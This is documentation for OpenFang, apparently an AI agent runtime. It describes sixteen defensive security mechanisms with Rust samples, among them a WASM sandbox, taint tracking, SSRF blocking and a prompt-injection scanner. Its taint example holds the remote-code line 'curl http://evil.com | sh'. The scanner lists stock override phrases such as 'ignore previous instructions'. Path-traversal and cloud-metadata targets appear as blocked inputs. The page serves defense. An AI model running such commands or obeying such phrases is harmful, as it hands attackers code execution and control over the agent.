> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/RightNow-AI/openfang/llms.txt
> Use this file to discover all available pages before exploring further.

# Security

> 16 independent security systems protecting your agents and data

## Defense in Depth

OpenFang doesn't bolt security on after the fact. Every layer is **independently testable** and operates without a single point of failure. If one defense is bypassed, 15 others still stand.

<Note>
  Security is **compiled in** — not configured. You get all 16 systems by default in the single binary.
</Note>

## The 16 Security Systems

### 1. WASM Dual-Metered Sandbox

Untrusted code (skills, plugins) runs in a **WebAssembly sandbox** with two independent metering systems:

<Accordion title="Fuel Metering (Deterministic)">
  Every WASM instruction consumes "fuel". When the budget is exhausted, execution halts:

  ```rust theme={null}
  let config = SandboxConfig {
      fuel_limit: 1_000_000,  // ~10ms of CPU time
      ..Default::default()
  };

  match sandbox.execute(wasm_bytes, input, config).await {
      Err(SandboxError::FuelExhausted) => {
          // Skill exceeded CPU budget
      }
      Ok(result) => {
          println!("Consumed {} fuel", result.fuel_consumed);
      }
  }
  ```

  This prevents CPU-bound attacks and ensures fair resource sharing.
</Accordion>

<Accordion title="Epoch Interruption (Wall-Clock)">
  A watchdog thread kills WASM execution after a wall-clock timeout (default: 30 seconds):

  ```rust theme={null}
  let engine_clone = engine.clone();
  std::thread::spawn(move || {
      std::thread::sleep(Duration::from_secs(30));
      engine_clone.increment_epoch();  // Triggers interrupt
  });
  ```

  This prevents blocking attacks (e.g., infinite loops waiting for I/O).
</Accordion>

Skills **cannot**:

* Access the filesystem
* Make network requests
* Call system APIs
* Read environment variables
* Escape the sandbox

They **can** call capability-checked host functions via `host_call()`.

***

### 2. Merkle Hash-Chain Audit Trail

Every security-critical action is recorded in an **append-only, tamper-evident audit log**:

```rust theme={null}
pub struct AuditEntry {
    pub seq: u64,              // Monotonic sequence number
    pub timestamp: String,
    pub agent_id: String,
    pub action: AuditAction,   // ToolInvoke, FileAccess, etc.
    pub detail: String,
    pub outcome: String,
    pub prev_hash: String,     // SHA-256 of previous entry
    pub hash: String,          // SHA-256 of this entry + prev_hash
}
```

Each entry's hash includes the previous hash, forming a chain. Tampering with any entry breaks the chain.

<Steps>
  <Step title="Record Action">
    ```rust theme={null}
    audit_log.record(
        agent_id,
        AuditAction::FileAccess,
        "/etc/passwd",
        "denied"
    );
    ```
  </Step>

  <Step title="Verify Integrity">
    ```rust theme={null}
    match audit_log.verify_integrity() {
        Ok(()) => println!("Chain intact"),
        Err(msg) => panic!("Tamper detected: {}", msg),
    }
    ```
  </Step>

  <Step title="Query via API">
    ```bash theme={null}
    curl http://localhost:4200/api/audit/recent?agent_id=a1
    curl http://localhost:4200/api/audit/verify
    ```
  </Step>
</Steps>

<Warning>
  The audit log is **append-only**. There is no API to delete or modify entries. This ensures forensic integrity.
</Warning>

***

### 3. Information Flow Taint Tracking

Data from untrusted sources (user input, web scraping, LLM output) is **labeled** and tracked through the execution pipeline:

```rust theme={null}
pub enum TaintLabel {
    UserInput,
    ExternalNetwork,
    LlmGenerated,
    Credential,
}

pub struct TaintedValue<T> {
    value: T,
    labels: HashSet<TaintLabel>,
    source: String,
}
```

Before sensitive operations (shell execution, network requests), the runtime checks if tainted data is reaching a restricted **sink**:

```rust theme={null}
pub struct TaintSink {
    allowed_labels: HashSet<TaintLabel>,
    name: String,
}

impl TaintSink {
    pub fn shell_exec() -> Self {
        Self {
            allowed_labels: HashSet::new(),  // No tainted data allowed!
            name: "shell_exec".to_string(),
        }
    }
}
```

**Example: Blocking Shell Injection**

```rust theme={null}
let user_input = TaintedValue::new(
    "curl http://evil.com | sh",
    hashset!{TaintLabel::UserInput},
    "http_response"
);

let sink = TaintSink::shell_exec();

match user_input.check_sink(&sink) {
    Ok(()) => { /* Safe to execute */ }
    Err(violation) => {
        // "taint violation: label 'UserInput' from source 'http_response'
        //  is not allowed to reach sink 'shell_exec'"
        warn!("{}", violation);
    }
}
```

This prevents:

* **Shell injection** from LLM-generated commands
* **Data exfiltration** of credentials to network sinks
* **Path traversal** from user-controlled file paths

***

### 4. Ed25519 Signed Agent Manifests

Every agent manifest can be **cryptographically signed** to verify authenticity:

```rust theme={null}
use ed25519_dalek::{SigningKey, VerifyingKey, Signature};

// Sign a manifest
let signing_key = SigningKey::generate(&mut OsRng);
let signature = sign_manifest(&manifest, &signing_key)?;

// Verify
let verifying_key = signing_key.verifying_key();
verify_manifest(&manifest, &signature, &verifying_key)?;
```

This prevents:

* **Manifest tampering** by third parties
* **Capability escalation** by modifying manifests
* **Supply chain attacks** via skill marketplace

<Note>
  Signing is **optional** for local development but **required** for publishing to FangHub.
</Note>

***

### 5. SSRF Protection

Every URL passed to `web_fetch` or MCP clients is validated **before** DNS resolution:

```rust theme={null}
fn is_ssrf_blocked(url: &str) -> Result<(), String> {
    let parsed = Url::parse(url)?;
    let hostname = parsed.host_str().ok_or("No hostname")?;
    
    // Block metadata endpoints
    if hostname == "169.254.169.254" || hostname == "metadata.google.internal" {
        return Err("SSRF blocked: metadata endpoint");
    }
    
    // Resolve and check IP
    let addrs: Vec<IpAddr> = (hostname, 0).to_socket_addrs()?.map(|s| s.ip()).collect();
    
    for ip in addrs {
        if ip.is_loopback() || ip.is_private() {
            return Err(format!("SSRF blocked: {} resolves to private IP {}", hostname, ip));
        }
    }
    
    Ok(())
}
```

**Blocked targets:**

* `127.0.0.1`, `localhost`, `0.0.0.0`
* Private IP ranges: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`
* Cloud metadata endpoints: `169.254.169.254`, `metadata.google.internal`
* DNS rebinding attacks (checked after resolution)

***

### 6. Secret Zeroization

API keys and secrets use `Zeroizing<String>` to **wipe memory on drop**:

```rust theme={null}
use zeroize::Zeroizing;

pub struct ApiKeyConfig {
    pub provider: String,
    pub key: Zeroizing<String>,  // Auto-zeroed when dropped
}

impl Drop for ApiKeyConfig {
    fn drop(&mut self) {
        // `Zeroizing` overwrites memory with zeros before deallocation
    }
}
```

This prevents:

* **Memory dumps** from exposing API keys
* **Swap file leakage** of credentials
* **Core dumps** containing secrets

***

### 7. OFP Mutual Authentication

The **OpenFang Peer Protocol** uses HMAC-SHA256 for mutual authentication:

```rust theme={null}
fn hmac_sign(secret: &str, data: &[u8]) -> String {
    let mut mac = Hmac::<Sha256>::new_from_slice(secret.as_bytes()).unwrap();
    mac.update(data);
    hex::encode(mac.finalize().into_bytes())
}

fn hmac_verify(secret: &str, data: &[u8], signature: &str) -> bool {
    let expected = hmac_sign(secret, data);
    subtle::ConstantTimeEq::ct_eq(expected.as_bytes(), signature.as_bytes()).into()
}
```

**Handshake flow:**

1. Node A generates a nonce and sends: `HELLO {node_id} {nonce} {hmac}`
2. Node B verifies HMAC, generates its own nonce, replies: `HELLO_ACK {node_id} {nonce} {hmac}`
3. Node A verifies HMAC, replies: `ACK_CONFIRM`
4. Authenticated connection established

This prevents:

* **Replay attacks** (nonces are single-use)
* **Man-in-the-middle** (both parties prove knowledge of shared secret)
* **Impersonation** (HMAC verification fails without secret)

***

### 8. Capability Gates

Every tool call is checked against the agent's **capability set**:

```rust theme={null}
pub fn check_capability(
    agent: &AgentManifest,
    tool: &ToolDefinition,
) -> Result<(), &'static str> {
    let required_cap = match tool.name.as_str() {
        "file_read" => Capability::FileRead,
        "file_write" => Capability::FileWrite,
        "shell_exec" => Capability::ShellExec,
        "web_fetch" => Capability::NetworkAccess,
        "spawn_agent" => Capability::AgentSpawn,
        _ => return Ok(()),  // No capability required
    };
    
    if !agent.capabilities.contains(&required_cap) {
        return Err("capability denied");
    }
    
    Ok(())
}
```

The kernel enforces this **before** the runtime executes any tool. Denied calls are audited.

***

### 9. Security Headers

The API server sets defense-in-depth HTTP headers on every response:

```rust theme={null}
axum::middleware::from_fn(|req, next| async move {
    let mut res = next.run(req).await;
    res.headers_mut().insert(
        "Content-Security-Policy",
        "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'"
    );
    res.headers_mut().insert("X-Frame-Options", "DENY");
    res.headers_mut().insert("X-Content-Type-Options", "nosniff");
    res.headers_mut().insert(
        "Strict-Transport-Security",
        "max-age=31536000; includeSubDomains"
    );
    res
});
```

This mitigates:

* **XSS attacks** (CSP)
* **Clickjacking** (X-Frame-Options)
* **MIME sniffing** (X-Content-Type-Options)
* **Protocol downgrade** (HSTS)

***

### 10. Health Endpoint Redaction

Public health checks return **minimal information**:

```rust theme={null}
// GET /api/health (public)
{
    "status": "ok",
    "uptime_seconds": 3600
}

// GET /api/health/full (requires auth)
{
    "status": "ok",
    "uptime_seconds": 3600,
    "agents_active": 5,
    "memory_usage_mb": 42,
    "llm_calls_last_hour": 120,
    "audit_chain_length": 1543,
    "kernel_version": "0.3.24"
}
```

This prevents **reconnaissance** by unauthenticated attackers.

***

### 11. Subprocess Sandbox

When agents spawn shell commands, the runtime:

1. **Clears the environment** with `env_clear()`
2. **Passes only whitelisted variables** (PATH, HOME, HAND\_ALLOWED\_ENV)
3. **Isolates the process tree** (no access to parent or siblings)
4. **Enforces timeouts** with cross-platform kill

```rust theme={null}
let output = Command::new("sh")
    .arg("-c")
    .arg(command)
    .env_clear()  // Wipe all env vars
    .env("PATH", safe_path)  // Restricted PATH
    .envs(hand_allowed_env)  // Only whitelisted vars
    .stdout(Stdio::piped())
    .stderr(Stdio::piped())
    .spawn()?
    .wait_timeout(Duration::from_secs(120))?;
```

***

### 12. Prompt Injection Scanner

Skill content (SKILL.md files) is scanned for **injection patterns** before loading:

```rust theme={null}
const INJECTION_PATTERNS: &[&str] = &[
    "ignore previous instructions",
    "disregard all prior",
    "system: you are now",
    "<|im_start|>",
    "<|endoftext|>",
    "\u200b",  // Zero-width space
];

fn scan_for_injection(skill_content: &str) -> Result<(), String> {
    let lower = skill_content.to_lowercase();
    for pattern in INJECTION_PATTERNS {
        if lower.contains(pattern) {
            return Err(format!("Detected injection pattern: {}", pattern));
        }
    }
    Ok(())
}
```

Skills with detected patterns are **rejected at load time**.

***

### 13. Loop Guard

Detects when an agent is stuck in a tool-call loop:

```rust theme={null}
pub struct LoopGuardConfig {
    pub max_iterations: u32,           // Hard iteration cap (default: 50)
    pub max_same_tool_streak: u32,     // Same tool N times (default: 5)
    pub max_tool_pair_ping_pong: u32,  // A→B→A→B pattern (default: 3)
}
```

When triggered, the guard injects a warning message and allows one more iteration before halting.

***

### 14. Session Repair

Corrupted or malformed message histories are **automatically repaired**:

```rust theme={null}
pub fn repair_session(session: &mut Session) -> RepairReport {
    let mut report = RepairReport::default();
    
    // 7-phase validation and repair:
    // 1. Remove duplicate messages
    // 2. Fix message role alternation (user/assistant/user/...)
    // 3. Validate tool call references
    // 4. Truncate oversized messages
    // 5. Remove orphaned tool results
    // 6. Fix timestamp ordering
    // 7. Recompute session checksum
    
    report
}
```

This prevents **session corruption attacks** and gracefully handles LLM output errors.

***

### 15. Path Traversal Prevention

All file operations use **canonical path resolution**:

```rust theme={null}
fn safe_resolve_path(base: &Path, relative: &str) -> Result<PathBuf, String> {
    let joined = base.join(relative);
    let canonical = joined.canonicalize()
        .map_err(|e| format!("Path canonicalization failed: {}", e))?;
    
    // Ensure the canonical path is still within base
    if !canonical.starts_with(base.canonicalize()?) {
        return Err("Path traversal detected".to_string());
    }
    
    Ok(canonical)
}
```

**Blocked attempts:**

* `../../../etc/passwd`
* Symlinks that escape the workspace
* Absolute paths outside the agent's workspace

***

### 16. GCRA Rate Limiter

A **cost-aware token bucket** rate limiter protects API endpoints:

```rust theme={null}
pub struct GcraRateLimiter {
    buckets: DashMap<IpAddr, Bucket>,
    capacity: u32,      // Max tokens
    refill_rate: u32,   // Tokens per second
}

impl GcraRateLimiter {
    pub fn check(&self, ip: IpAddr, cost: u32) -> RateLimitResult {
        let mut bucket = self.buckets.entry(ip).or_insert_with(|| Bucket::new(self.capacity));
        
        if bucket.tokens < cost {
            return RateLimitResult::Denied {
                retry_after: bucket.next_refill_seconds(),
            };
        }
        
        bucket.tokens -= cost;
        RateLimitResult::Allowed
    }
}
```

**Default limits:**

* 100 requests/minute per IP
* 10,000 tokens/hour per user
* Automatic stale bucket cleanup every 5 minutes

***

## Security Scorecard

| System             | Purpose                | Attack Vector Mitigated                  |
| ------------------ | ---------------------- | ---------------------------------------- |
| WASM Sandbox       | Isolate untrusted code | RCE, resource exhaustion                 |
| Audit Trail        | Tamper detection       | Forensic integrity, privilege escalation |
| Taint Tracking     | Data flow control      | Injection, exfiltration                  |
| Manifest Signing   | Identity verification  | Supply chain, tampering                  |
| SSRF Protection    | Network validation     | Metadata access, internal scans          |
| Secret Zeroization | Memory hygiene         | Credential leakage                       |
| OFP Auth           | P2P trust              | MITM, replay, impersonation              |
| Capability Gates   | Permission enforcement | Unauthorized access                      |
| Security Headers   | Browser defense        | XSS, clickjacking, downgrade             |
| Health Redaction   | Info disclosure        | Reconnaissance                           |
| Subprocess Sandbox | Shell isolation        | Env poisoning, privilege esc             |
| Injection Scanner  | Prompt safety          | Jailbreak, override                      |
| Loop Guard         | Runaway prevention     | DoS, cost explosion                      |
| Session Repair     | Corruption recovery    | Session fixation, poisoning              |
| Path Traversal     | Filesystem boundary    | Arbitrary file access                    |
| Rate Limiter       | Abuse prevention       | DoS, credential stuffing                 |

## Testing Security

OpenFang includes property-based security tests:

```bash theme={null}
# Taint tracking property tests
cargo test -p openfang-types taint

# Audit chain integrity tests
cargo test -p openfang-runtime audit

# Path traversal attack tests
cargo test -p openfang-runtime test_file_read_path_traversal_blocked

# SSRF protection tests
cargo test -p openfang-runtime test_web_fetch_ssrf_blocked
```

## Reporting Vulnerabilities

<Warning>
  **Do NOT open public GitHub issues for security vulnerabilities.**
</Warning>

Email: **[security@openfang.ai](mailto:security@openfang.ai)**

Include:

* Description of the vulnerability
* Steps to reproduce
* Affected versions
* Potential impact assessment
* Suggested fix (if any)

**Response timeline:**

* Acknowledgment within 48 hours
* Initial assessment within 7 days
* Fix timeline communicated within 14 days
* Credit given in advisory (unless you prefer anonymity)

## Next Steps

<CardGroup cols={2}>
  <Card title="Architecture" icon="cube" href="/concepts/architecture">
    Understand the 14-crate security boundaries
  </Card>

  <Card title="Agent Lifecycle" icon="circle-nodes" href="/concepts/agents">
    See where capability checks happen in the agent loop
  </Card>

  <Card title="RBAC & Permissions" icon="user-shield" href="/guides/rbac">
    Configure multi-user access control
  </Card>

  <Card title="Audit API" icon="file-lines" href="/api/overview">
    Query the audit log programmatically
  </Card>
</CardGroup>
